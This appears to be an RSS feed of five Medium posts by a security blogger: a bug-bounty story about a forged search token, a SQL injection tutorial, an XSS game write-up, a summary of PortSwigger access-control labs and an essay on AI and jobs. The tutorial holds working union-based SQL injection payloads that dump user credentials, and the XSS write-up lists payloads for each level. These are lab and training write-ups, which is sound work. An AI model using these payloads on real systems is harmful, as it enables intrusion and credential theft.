<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ife0x01 on Medium]]></title>
        <description><![CDATA[Stories by Ife0x01 on Medium]]></description>
        <link>https://medium.com/@adelekeismailifeoluwa?source=rss-d243bc9cfb5e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*mS7TfJK6B3HOwo386jP4HA@2x.jpeg</url>
            <title>Stories by Ife0x01 on Medium</title>
            <link>https://medium.com/@adelekeismailifeoluwa?source=rss-d243bc9cfb5e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 01:21:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@adelekeismailifeoluwa/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How a Forged Token Exposed an Entire B2B Trade Catalog]]></title>
            <link>https://medium.com/@adelekeismailifeoluwa/how-a-forged-token-exposed-an-entire-b2b-trade-catalog-3e736a7f54bd?source=rss-d243bc9cfb5e------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e736a7f54bd</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ife0x01]]></dc:creator>
            <pubDate>Tue, 10 Nov 2026 18:26:35 GMT</pubDate>
            <atom:updated>2026-11-10T18:26:35.568Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi, I’m Ifeoluwa (@ife0x01 on X), and I want to share how I discovered a high-severity vulnerability that exposed an entire B2B trade catalog. For legal reasons, I won’t be sharing the technical details or identifying the target, but I’ll be as specific as possible about how I found it, what I discovered, and the potential impact.</p><p>I initially started looking at the platform’s search functionality, mainly to understand how it handled access control. It was a large B2B e-commerce platform where distributors and retailers could access product catalogs, negotiated prices, and purchasing permissions.</p><p>While going through the network traffic, I noticed that searches were being handled by a GraphQL adapter connected to a third-party search service. One particular mutation caught my attention: coveoToken.</p><p>It was responsible for generating search tokens for users. Naturally, I wanted to see what would happen if I tried requesting one without being logged in.</p><p>I started with the guest authentication endpoint. It returned an anonymous bearer token without requiring any credentials. That wasn’t necessarily a vulnerability on its own, but I decided to see how far I could go with it.</p><p>Looking into the token-generation mutation, I noticed something interesting. Several parameters controlled what ended up inside the JWT, including the username, B2B unit ID, and whether certain product restrictions were enabled.</p><p>What bothered me was that these values appeared to come directly from the request rather than being verified against an authenticated user session.</p><p>I decided to test that assumption.</p><p>Using the anonymous token, I supplied a made-up email address, a fabricated B2B unit ID, and set both product-restriction flags to false. The request went through.</p><p>The adapter returned a signed JWT.</p><p>I decoded it and found that my supplied identity and business-unit ID had been accepted. Even more concerning, the token carried the production search organization’s authorization context.</p><p>In other words, I had just obtained a production-valid search credential without having an account.</p><p>But I still needed to understand what I could actually do with it.</p><p>I took the token to the underlying search API and started querying the index. The first response returned 2,629 documents across 18 regional catalogs.</p><p>As I explored further, the numbers became more interesting. I found 1,882 products containing list prices and 1,092 containing customer-authorization lists. Some products had authorization lists containing as many as 5,008 customer account IDs.</p><p>These weren’t just product names and descriptions. The records included wholesale prices, stock information, product identifiers, and lists showing which business accounts were authorized to purchase specific products.</p><p>I also tried using the generated token against the adapter’s own suggestion functionality. It returned HTTP 200, showing that the adapter was also accepting the credential it had issued.</p><p>What started as a simple check of an unauthenticated endpoint turned into something much bigger. I was able to generate my own search credentials and access a significant amount of commercially sensitive information without a legitimate B2B account.</p><p>The root of the problem was surprisingly simple: the adapter trusted identity and authorization values supplied by the requester instead of verifying them against an authenticated session.</p><p>One anonymous token, a few manipulated parameters, and an authorization boundary that wasn’t doing its job.</p><p>Thanks for Reading</p><p>Ciao 👋</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e736a7f54bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Beginner’s Guide to SQL Injection]]></title>
            <link>https://medium.com/@adelekeismailifeoluwa/a-beginners-guide-to-sql-injection-d91a738bee3c?source=rss-d243bc9cfb5e------2</link>
            <guid isPermaLink="false">https://medium.com/p/d91a738bee3c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Ife0x01]]></dc:creator>
            <pubDate>Sat, 03 Oct 2026 20:34:56 GMT</pubDate>
            <atom:updated>2026-10-03T20:34:56.939Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi, I’m Ifeoluwa (@ife0x01 on X) and I’ll be talking about SQL Injection.</p><p>SQL Injection (SQLi) has been sitting in the OWASP Top 10 for over two decades, and it’s still one of the first things people learn in offensive security for good reason. It’s conceptually simple and teaches you the core lesson of web security: never trust user input.</p><h3>How it happens</h3><p>Most web apps build SQL queries by stitching together a fixed string and whatever the user typed. A login form might run something like this on the backend:</p><pre>SELECT * FROM users WHERE username = &#39;ife&#39; AND password = &#39;isaboy&#39;;</pre><p>The query is built in code like:</p><pre>query = &quot;SELECT * FROM users WHERE username = &#39;&quot; + username + &quot;&#39; AND password = &#39;&quot; + password + &quot;&#39;&quot;</pre><p>That looks harmless until someone enters something other than a normal username. The database doesn’t know the difference between “data” and “code” it just executes whatever string lands in front of it. If the input isn’t sanitized, an attacker can inject SQL syntax that changes what the query actually does.</p><h3>The classic example: login bypass</h3><p>If someone types this into the username field:</p><pre>&#39; OR &#39;1&#39;=&#39;1</pre><p>The query becomes:</p><pre>SELECT * FROM users WHERE username = &#39;&#39; OR &#39;1&#39;=&#39;1&#39; AND password = &#39;&#39;;</pre><p>Since &#39;1&#39;=&#39;1&#39; is always true, the WHERE clause matches every row in the table and depending on how the app handles the result, that can be enough to log in as the first user returned, often an admin.</p><p>That single quote is doing all the work: it closes the string literal the developer expected, and everything after it is interpreted as SQL rather than data.</p><h3>Types of classic SQLi</h3><ul><li><strong>In-band / Union-based</strong> — the attacker uses the UNION keyword to append their own SELECT statement to the original query, pulling data from other tables directly into the page&#39;s output.</li><li><strong>Error-based</strong> — the attacker deliberately triggers a database error that leaks information (table names, column names, data) in the error message itself.</li><li><strong>Blind SQLi</strong> — when the app doesn’t show query results or errors directly, the attacker infers information one bit at a time by asking true/false questions, or by using time delays (SLEEP(5)) and watching response times.</li></ul><h4><strong>Step-by-step Exploitation:</strong></h4><h3>Target Overview</h3><p>I will be using an intentionally vulnerable website (Vulnbank) for this demo.</p><h4>Step 1: Identify the vulnerable parameter</h4><p>I started by probing every input field and URL parameter with standard SQLi metacharacters:</p><pre>&#39;  &quot;  ;  --  )</pre><p>Dropping a single quote into the parameter broke the page and returned a database error, confirming the input was reaching the query unsanitized.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ROPH6sZzgYXVbqWDOPcD6Q.png" /></figure><h4>Step 2: Determine the number of columns</h4><p>I used ORDER BY to find the column count without triggering errors from mismatched column counts in the UNION itself:</p><pre>&#39; ORDER BY 1--<br>&#39; ORDER BY 2--<br>...<br>&#39; ORDER BY 13--   (error here means the table only has 12 columns)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yMeEthro4R5Mdl-OcH_Wbg.png" /></figure><h4>Step 3: Identify reflected columns</h4><p>With the column count confirmed, I forced the original query to return no rows so only the UNION output would be visible, then checked which column positions actually appeared</p><pre>&#39; UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--</pre><p>I first tried the standard approach of injecting sequential integers (1,2,3...) to identify reflected columns, but PostgreSQL&#39;s strict type checking rejected them — each column has a defined data type, and an integer won&#39;t satisfy a text or varchar column. Switching to NULL across all 12 positions worked, since NULL is accepted regardless of type. Of those 12 positions, 6 corresponded to fields actually rendered on the page. To confirm <em>which</em> of those 6 held usable output, I replaced one NULL at a time with a test function and checked the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k7qbg78PZRahSCmMaWZw3w.png" /></figure><h4>Step 4: Extract the current database name</h4><p>MySQL’s database() function doesn&#39;t exist in PostgreSQL and throws an error when called. Using the Postgres equivalent, current_database(), succeeded instead, confirming the backend database is PostgreSQL.</p><pre>&#39; UNION SELECT NULL,NULL,NULL,current_database(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*56jl_awa351yjfo6Biq5lQ.png" /></figure><h4>Step 5: Enumerate tables</h4><p>Postgres’s information_schema.tables works the same way conceptually, but since Postgres has no group_concat(), I used string_agg() instead:</p><pre>&#39; UNION SELECT NULL,NULL,NULL,string_agg(table_name, &#39;, &#39;),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=&#39;public&#39;--</pre><p>table_schema=&#39;public&#39; is the Postgres default schema for user-created tables, a common trip point for people coming from MySQL, where that filter isn&#39;t needed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fl_-0FDDevsg-MiNLGMXOQ.png" /></figure><h4>Step 6: Enumerate columns</h4><p>Picked the users table, I pulled its column names the same way:</p><pre>&#39; UNION SELECT NULL,NULL,NULL,string_agg(column_name, &#39;, &#39;),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM information_schema.columns WHERE table_name=&#39;users&#39;--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Tn1ysAJjAgC1qLYDzTiMA.png" /></figure><h4>Step 7: Extract the data</h4><p>With table and column names confirmed, I pulled the actual contents:</p><pre>&#39; UNION SELECT NULL,NULL,NULL,string_agg(username || &#39;:&#39; || password, &#39;&lt;br&gt;&#39;),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM users--</pre><p>Note the syntax: Postgres uses || for string concatenation instead of MySQL&#39;s comma-separated group_concat(a,&#39;:&#39;,b) form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SOwRE6zDLUSKOKZFJq8h2w.png" /></figure><h4>Key PostgreSQL vs. MySQL differences</h4><ul><li>Current database:database() while Postgres: current_database()</li><li>Aggregate strings into one rowgroup_concat(a, b), Postgres: string_agg(a || b, sep)</li><li>String concatenationCONCAT(a,b) Postgres : a || b</li><li>Default schema filternot usually needed, Postgres: table_schema=&#39;public&#39;</li><li>MySQL:(spacerequired)-- -, Postgres:(no space required)--</li></ul><h4>Impact</h4><p>Successfully extracted the full users table, including real credentials, via a single unauthenticated injection point, no prior access required.</p><h3>How it’s actually prevented</h3><ul><li><strong>Parameterized queries / prepared statements</strong> — the fix, not a mitigation. Query structure and data are sent to the database separately, so user input can never be interpreted as SQL syntax.</li></ul><pre>cursor.execute(&quot;SELECT * FROM users WHERE username = %s AND password = %s&quot;, (username, password))</pre><ul><li><strong>ORMs</strong> (SQLAlchemy, Django ORM, etc.) handle this for you by default, as long as you don’t drop into raw SQL string concatenation inside them.</li><li><strong>Least privilege</strong> on the database role the app connects as, so a successful injection has limited blast radius.</li><li><strong>Input validation</strong> as defense-in-depth, not the primary fix — allowlisting expected formats helps, but shouldn’t be the only line of defense.</li><li><strong>WAFs</strong> can catch obvious payloads but are bypassable and shouldn’t be relied on alone.</li></ul><p>Thanks For Reading :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d91a738bee3c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Google XSS game report]]></title>
            <link>https://medium.com/@adelekeismailifeoluwa/google-xss-game-report-2ebba23fed0b?source=rss-d243bc9cfb5e------2</link>
            <guid isPermaLink="false">https://medium.com/p/2ebba23fed0b</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <dc:creator><![CDATA[Ife0x01]]></dc:creator>
            <pubDate>Sun, 10 May 2026 13:23:04 GMT</pubDate>
            <atom:updated>2026-05-10T13:23:04.955Z</atom:updated>
            <content:encoded><![CDATA[<p>Security Assessment Report: Google XSS Game</p><p>Auditor: Ifeoluwa</p><p><strong>Level 1: Hello, World of XSS (Reflected)</strong></p><p>Vulnerable Code:</p><ul><li>Source: The ‘query’ URL parameter.</li><li>Sink: self.response.out.write(message) directly rendering the query.</li></ul><p>Exploit Details:</p><p>Payload: &lt;script&gt;alert(1)&lt;/script&gt;</p><p>Remediation:</p><p>Implement HTML Entity Encoding on the server-side to escape special characters like &lt; and &gt;.</p><p><strong>Level 2: Persistence is Key (Stored)</strong></p><p>Vulnerable Code:</p><ul><li>Source: User-submitted messages stored in the database.</li><li>Sink: document.getElementById(‘post-container’).innerHTML = html;</li></ul><p>Exploit Details:</p><p>Payload: &lt;img src=’x’ onerror=’alert(1)’&gt;</p><p>Remediation:</p><p>Use .textContent or .innerText instead of .innerHTML to prevent the browser from parsing strings as HTML.</p><p><strong>Level 3: That Sinking Feeling (DOM-Based)</strong></p><p>Vulnerable Code:</p><ul><li>Source: window.location.hash (the string after #).</li><li>Sink: $(‘#tabContent’).html(html) where html is built via string concatenation.</li></ul><p>Exploit Details:</p><p>Payload: 1&#39; onerror=’alert(1)’</p><p>Remediation:</p><p>Validate input against an allow-list or use parseInt() to ensure only numbers are processed.</p><p><strong>Level 4: Context Matters (Reflected/JS Context)</strong></p><p>Vulnerable Code:</p><ul><li>Source: The ‘timer’ URL parameter.</li><li>Sink: Inline HTML event handler: onload=’startTimer(“{{ timer }}”);’.</li></ul><p>Exploit Details:</p><p>Payload: 3&#39;); alert(1); //</p><p>Remediation:</p><p>Ensure input is strictly type-cast to an integer on the server-side before rendering into a script context.</p><p>**Level 5: Breaking Protocol (DOM-Based)**</p><p>Vulnerable Code:</p><ul><li>Source: The ‘next’ URL parameter.</li><li>Sink: The href attribute of an anchor tag: &lt;a href=’{{ next }}’&gt;.</li></ul><p>Exploit Details:</p><p>Payload: javascript:alert(1)</p><p>Remediation:</p><p>Validate URL schemes. Only allow ‘http://’ or ‘https://’ and reject ‘javascript:’ or ‘data:’ schemes.</p><p><strong>Level 6: Follow the White Rabbit (DOM-Based)</strong></p><p>Vulnerable Code:</p><ul><li>Source: window.location.hash.substr(1).</li><li>Sink: scriptEl.src = url; where the script is appended to the document.</li></ul><p>Exploit Details:</p><p>Payload: HTTPS://www.google.com/jsapi?callback=alert OR data:text/javascript,alert(1)</p><p>Remediation:</p><p>Use case-insensitive regex flags (/i) and implement a Content Security Policy (CSP) to restrict script sources.</p><p>Conclusion</p><p>This audit demonstrates that Cross-Site Scripting (XSS) occurs when an application processes untrusted data without appropriate contextual encoding. Whether the context is HTML, an attribute, or a JavaScript string, the remedy is consistent: treat all user input as data, never as executable code. Modern security practices recommend using automated encoding frameworks and strict Content Security Policies to provide</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2ebba23fed0b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mastering Broken Access Control: A Technical Deep Dive into 13 PortSwigger Labs]]></title>
            <link>https://medium.com/@adelekeismailifeoluwa/mastering-broken-access-control-a-technical-deep-dive-into-13-portswigger-labs-6149b9084a4b?source=rss-d243bc9cfb5e------2</link>
            <guid isPermaLink="false">https://medium.com/p/6149b9084a4b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Ife0x01]]></dc:creator>
            <pubDate>Tue, 14 Apr 2026 13:11:25 GMT</pubDate>
            <atom:updated>2026-04-14T13:11:25.545Z</atom:updated>
            <content:encoded><![CDATA[<p>Broken Access Control currently holds the #1 position in the OWASP Top 10, and for good reason. Unlike many vulnerabilities that can be detected through automated scanning, access control issues often require manual testing and a deep understanding of application logic. When exploited, they can lead to severe consequences including privilege escalation, sensitive data exposure, and complete system compromise.</p><p>Recently, I completed a deep dive into the PortSwigger Web Security Academy, successfully exploiting all 13 labs in the Access Control category. Documentation is an important part of the hacking process, so I compiled my methodology, the vulnerabilities discovered, and their potential impact below.</p><ol><li><strong>Unprotected Admin Functionality</strong></li></ol><p>Vulnerability: Vertical Privilege Escalation via Missing Access Control</p><p>Exploitation:</p><p>Direct navigation to the /admin endpoint granted administrative access. The application failed to enforce server-side authorization checks for the administrative interface.</p><p>Impact:</p><p>Critical. Any unauthenticated user could perform administrative actions such as deleting accounts or modifying system configurations.</p><p>2. <strong>Unprotected Admin Functionality (Unpredictable URL)</strong></p><p>Vulnerability: Information Disclosure Leading to Privilege Escalation</p><p>Exploitation:</p><p>Manual inspection of the application’s source code revealed a hardcoded randomized administrative URL. Navigating to this hidden endpoint granted full administrative access.</p><p>Impact:</p><p>High. Demonstrates that security through obscurity is not a valid defense. Once a hidden URL is discovered, the application becomes fully exposed.</p><p>3. <strong>User Role Controlled by Request Parameter</strong></p><p>Vulnerability: Client-Side Authorization Control</p><p>Exploitation:</p><p>The application trusted a client-controlled cookie named Admin. By intercepting the request and modifying the value from false to true, administrative privileges were obtained.</p><p>Impact:</p><p>Critical. Complete bypass of the authorization system, allowing users to assign their own privileges.</p><p>4. <strong>User Role Modified in User Profile</strong></p><p>Vulnerability: Mass Assignment / Parameter Tampering</p><p>Exploitation:</p><p>The profile update functionality allowed internal attributes to be modified. Adding “roleid”: 2 to the JSON request body escalated the account to administrative privileges.</p><p>Impact:</p><p>Critical. Users could manipulate backend object properties directly through exposed API parameters.</p><p>5. <strong>URL-Based Access Control Circumvention</strong></p><p>Vulnerability: Front-End Routing Bypass via Custom Headers</p><p>Exploitation:</p><p>The backend trusted the X-Original-URL header. By injecting the header with /admin, restricted administrative endpoints became accessible.</p><p>Impact:</p><p>High. This bypasses security mechanisms such as reverse proxies or WAF rules that only inspect the visible request path.</p><p>6. <strong>Method-Based Access Control Circumvention</strong></p><p>Vulnerability: HTTP Verb Tampering</p><p>Exploitation:</p><p>Authorization checks were only enforced for POST requests. Changing the request method to GET and moving parameters to the query string allowed execution of privileged actions.</p><p>Impact:</p><p>High. Inconsistent enforcement of HTTP methods allowed unauthorized state-changing operations.</p><p>7. <strong>User ID Controlled by Request Parameter</strong></p><p>Vulnerability: Insecure Direct Object Reference</p><p>Exploitation:</p><p>The application used a simple id parameter to retrieve user data. Changing the value from the current user to another user (carlos) revealed their private API key.</p><p>Impact:</p><p>High. Unauthorized access to sensitive user data and credentials.</p><p>8. <strong>User ID Controlled by Request Parameter (Unpredictable IDs)</strong></p><p>Vulnerability: IDOR via Public Information Leakage</p><p>Exploitation:</p><p>Although the application used GUIDs as identifiers, these values were exposed in public blog post metadata. Extracting the ID and injecting it into the account URL provided access to the victim’s profile.</p><p>Impact:</p><p>High. Randomized identifiers do not provide security if they are exposed elsewhere in the application.</p><p>9. <strong>User ID Controlled by Request Parameter (Redirect Leakage)</strong></p><p>Vulnerability: Sensitive Data Leakage in Response Body</p><p>Exploitation:</p><p>Unauthorized requests triggered a 302 redirect. However, the sensitive data was still included in the response body before the redirect occurred.</p><p>Impact:</p><p>Medium. Exploits situations where servers send sensitive data before enforcing redirects.</p><p>10. <strong>User ID Controlled by Request Parameter (Password Disclosure)</strong></p><p>Vulnerability: Sensitive Data Exposure</p><p>Exploitation:</p><p>Passwords were masked in the UI but included in plaintext within the server response. Exploiting IDOR on the /my-account endpoint exposed the administrator’s password.</p><p>Impact:</p><p>Critical. Allowed full account takeover of any user, including administrative accounts.</p><p>11. <strong>Insecure Direct Object References (Chat Logs)</strong></p><p>Vulnerability: Sequential IDOR / File Access</p><p>Exploitation:</p><p>The chat transcript download feature used predictable filenames (2.txt). Changing the filename to 1.txt revealed another user’s private chat log containing their password.</p><p>Impact:</p><p>High. Exposure of confidential communications and sensitive credentials.</p><p>12. <strong>Multi-Step Process with Missing Access Control</strong></p><p>Vulnerability: Broken Access Control in Multi-Step Workflows</p><p>Exploitation:</p><p>Authorization checks were performed during the initial stage of a privilege change process but were absent in the final confirmation step. Replaying the confirmation request as a standard user successfully escalated privileges.</p><p>Impact:</p><p>Critical. Logic flaws in multi-step workflows can allow attackers to bypass security controls entirely.</p><p>13. <strong>Referer-Based Access Control</strong></p><p>Vulnerability: Broken Access Control via Client-Side Header Trust</p><p>Exploitation:</p><p>The server validated administrative requests by checking the Referer header. Forging this header to include /admin allowed a normal user to perform administrative actions.</p><p>Impact:</p><p>High. Client-controlled headers should never be used as security controls since they can be easily manipulated.</p><p>Final Thoughts</p><p>Completing these labs reinforced one of the most important principles in application security:</p><p>Never trust the client.</p><p>Cookies, headers, URL parameters, and request bodies are all controlled by the user and must always be validated on the server side against the user’s actual permissions.</p><p>Broken access control vulnerabilities often appear simple but can have devastating real-world consequences, ranging from data breaches to complete system compromise.</p><p>Mastering these foundational concepts is just the beginning. The next step is learning how to chain vulnerabilities together, turning minor information leaks into full system takeovers.</p><p><strong>Happy hacking.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6149b9084a4b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WILL AI REPLACE JOBS?]]></title>
            <link>https://medium.com/@adelekeismailifeoluwa/will-ai-replace-jobs-210785b2a769?source=rss-d243bc9cfb5e------2</link>
            <guid isPermaLink="false">https://medium.com/p/210785b2a769</guid>
            <category><![CDATA[chatgpt]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[jobs]]></category>
            <dc:creator><![CDATA[Ife0x01]]></dc:creator>
            <pubDate>Sun, 22 Feb 2026 15:30:09 GMT</pubDate>
            <atom:updated>2026-02-22T15:30:09.719Z</atom:updated>
            <content:encoded><![CDATA[<p>WILL AI REPLACE JOBS?</p><p>THE RAPID RISE OF TOOLS LIKE ChatGPT</p><p>Before ChatGPT, there were earlier GPT (Generative Pre-trained Transformer) models, all made by OpenAI:</p><ul><li>GPT-1: This was OpenAI’s first model (2018), which marked a change in the way people approached information retrieval. This model is based on a simple text-in, text-out protocol.</li><li>GPT-2: This was the second model, released in 2019. It was so powerful that OpenAI did not release the full model due to misuse concerns.</li><li>GPT-3: This was an even more powerful model, released in 2020.</li></ul><p>These models could generate text well, but they were not designed for smooth conversations.</p><p>November 2022 saw a great advancement in the world of AI models. The new AI chatbot “ChatGPT” was released with GPT-3.5. This model is capable of Reinforcement Learning with Human Feedback (RLHF) and can hold smooth, human-like conversations.</p><p>From then on, there have been constant improvements and developments in AI models. In recent years, we’ve seen GPT-4, GPT-4o, and GPT-5. ChatGPT has silently evolved from a simple AI chatbot to a productive partner with smart responses, the ability to automate tasks, stronger reasoning, and the capability to solve advanced problems from technical fields like math, coding, engineering, and more.</p><p>Recently, we’ve seen:</p><p>The Prism: OpenAI’s latest workspace, which is a powerful AI document editor, distinct from traditional ones. Unlike traditional editors, it’s not just a blank page it is specifically designed for authors and collaborative writing with GPT-5.2 integrated into its environment.</p><p>Reasoning over retrieval: We’ve seen models evolve from simply predicting the next word to doing a lot of internal thinking, testing hypotheses, and looking for logical fallacies before delivering a reply. This is essentially what happens when you see “Thinking for X seconds” at the model interface.</p><p>The Amazon Warehouse: The Physicality of AI</p><p>OpenAI handles the “brain” while Amazon perfects the “body.” Recently, we’ve seen new developments like:</p><ul><li>The Death of the “Safety Fence”: The new Amazon robot “Proteus” can now navigate warehouses without colliding with human workers, unlike its older counterpart “Kiva,” which had to operate in restricted areas. This ensures seamless collaboration between humans and robots</li><li>40% of employers expect to reduce their workforce where AI can automate tasks, according to the WEF’s 2025 report. Robotics arms are used at Amazon warehouse for many industrial processes. These arms use highly sophisticated sensors to detect objects and pick them up carefully without hesitation.</li><li>Despite the high sophistication of these models and robots, AI still struggles with emotional intelligence (therapy, counseling), creative leadership, complex problem-solving, ethical decision-making, and skilled trades such as electricians and mechanics, areas where humans are still very much needed. This brings us to the main topic: Will AI Replace People’s Jobs?</li></ul><p>The headline has shifted from “AI will replace people’s jobs” to “AI is taking them,” but the reality is that this is more of a skill earthquake than a skill replacement. AI is replacing tasks, not professions. Although some roles are most likely to be automated such as data entry clerks, call center agents, basic content writers, cashiers, and manufacturing line workers this is largely because they are repetitive and easily automated.</p><p>According to the World Economic Forum’s Future of Jobs Report 2025, AI is projected to displace 92 million jobs by 2030 while simultaneously creating 170 million new roles, a net gain of 78 million jobs, but ones that require entirely different skill sets. New roles AI has created include AI engineers, prompt engineers, AI ethics specialists, cybersecurity analysts, and machine learning researchers.</p><p>The job market shows great opportunity for people with “AI fluency,” while automation-exposed roles are experiencing a tightening market. The key takeaway is that the job market will favour those who learn how to work, innovate, and adapt alongside AI.</p><p>From my point of view, we are not experiencing total job displacement, but we are seeing the end of entry-level roles, many of which are being replaced every day by GPT-5.2 and other advanced models. Unemployment among 20- to 30-year-olds in tech-exposed occupations has risen by almost 3 percentage points since the start of 2025, notably higher than for their same-aged counterparts in other trades. The real shift is for students to learn digital skills, adapt to the AI trend, and develop tech literacy.</p><p>The question is not whether AI will change the world it is whether we are ready to change with it.</p><p>So tell me, are you ready?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=210785b2a769" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>